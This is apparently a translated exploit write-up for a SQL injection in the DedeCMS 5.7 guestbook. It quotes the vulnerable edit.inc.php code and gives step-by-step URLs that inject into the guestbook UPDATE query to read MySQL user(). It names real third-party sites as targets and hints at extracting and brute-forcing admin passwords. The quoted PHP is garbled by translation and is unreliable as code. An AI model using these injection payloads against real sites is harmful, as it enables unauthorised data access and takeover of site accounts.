Affected version is 5.7
Vulnerability file edit.inc.php specific code:
< PHP
if (!defined (' Dedeinc ')) exit (' Request error! ');
if (!empty ($_cookie[' Guest_book_pos '))) $GUEST _book_pos = $_cookie[' Guest_book_pos '];
else $GUEST _book_pos = "guestbook.php";
$id = Intval ($id);
if (empty ($job)) $job = ' view ';
if ($job = = ' del ' && $g _isadmin)
{
$dsql->executenonequery ("DELETE from ' #@__guestbook ' WHERE id= ' $id '");
ShowMsg ("successfully deleted a message! ", $GUEST _book_pos);
Exit ();
}
else if ($job = = ' Check ' && $g _isadmin)
{
$dsql->executenonequery ("UPDATE ' #@__guestbook ' SET ischeck=1 WHERE id= ' $id '");
ShowMsg ("Successful review of a message!") ", $GUEST _book_pos);
Exit ();
}
else if ($job = = ' Editok ')
{
$remsg = Trim ($remsg);
if ($remsg! = ")
{
Admin reply does not filter HTML By:errorera blog:errs.cc
if ($g _isadmin)
{
$msg = "<div class= ' Rebox ' >". $msg. " </div>\n ". $remsg;
$remsg <br/><font color=red> admin reply:</font>}
Else
{
$row = $dsql->getone ("Select msg from ' #@__guestbook ' WHERE id= ' $id '");
$oldmsg = "<div class= ' Rebox ' >". Addslashes ($row [' msg ']). " </div>\n ";
$remsg = Trimmsg (CN_SUBSTRR ($remsg, 1024), 1);
$msg = $oldmsg. $remsg;
}
}
There is no filter for $msg, which can be injected into the By:errorera home:www.errs.cc
$dsql->executenonequery ("UPDATE ' #@__guestbook ' SET ' msg ' = ' $msg ', ' posttime ' = '". Time (). "' WHERE id= ' $id ');
ShowMsg ("Successful change or reply to a message! ", $GUEST _book_pos);
Exit ();
}
home:www.errs.cc
if ($g _isadmin)
{
$row = $dsql->getone ("select * from ' #@__guestbook ' WHERE id= ' $id '");
Require_once (dedetemplate. ' /plus/guestbook-admin.htm ');
}
Else
{
$row = $dsql->getone ("Select Id,title from ' #@__guestbook ' WHERE id= ' $id '");
Require_once (dedetemplate. ' /plus/guestbook-user.htm ');
The success of the vulnerability requires a condition:
1. PHP Magic_quotes_gpc=off
2. vulnerability file exists plus/guestbook.php Dede_guestbook Table of course also exists.
How to tell if there is a vulnerability:
First open www.chndianai.com/plus/guestbook.php can see other people's message,
Then the mouse on the [reply/edit] can see the ID of someone else's message. Then write down the ID
Access:
www.mcbang.com/plus/guestbook.php?action=admin&job=editok&msg=errs.cc ' &id= existing message ID after the submission if it is the dede5.7 version A "successful change or reply to a message" will appear, which proves the change was successful.
Jump back to www.mcbang.com/plus/guestbook.php to see if you change the message ID becomes errs.cc ' if it becomes so proof
The vulnerability could not be exploited he opened PHP Magic_quotes_gpc=off
If there is no successful modification, then the content of the message ID is the previous one to prove that the vulnerability can be exploited.
Then visit again
www.mcbang.com/plus/guestbook.php?action=admin&job=editok&id= existing Message id&msg= ', Msg=user (), email= ' then return, The content of the message ID is directly modified to MySQL user ().
Probably the use is this, we are interested in more research under!!
Finally, it is estimated that some people will say how to manage the password of the background account, you will know by yourself. Anyway, absolutely can be violent out (can not burst out I will not send)!!
View Sourceprint?1/plus/guestbook.php?action=admin&job=editok&id=146&msg= ', [email protected] ',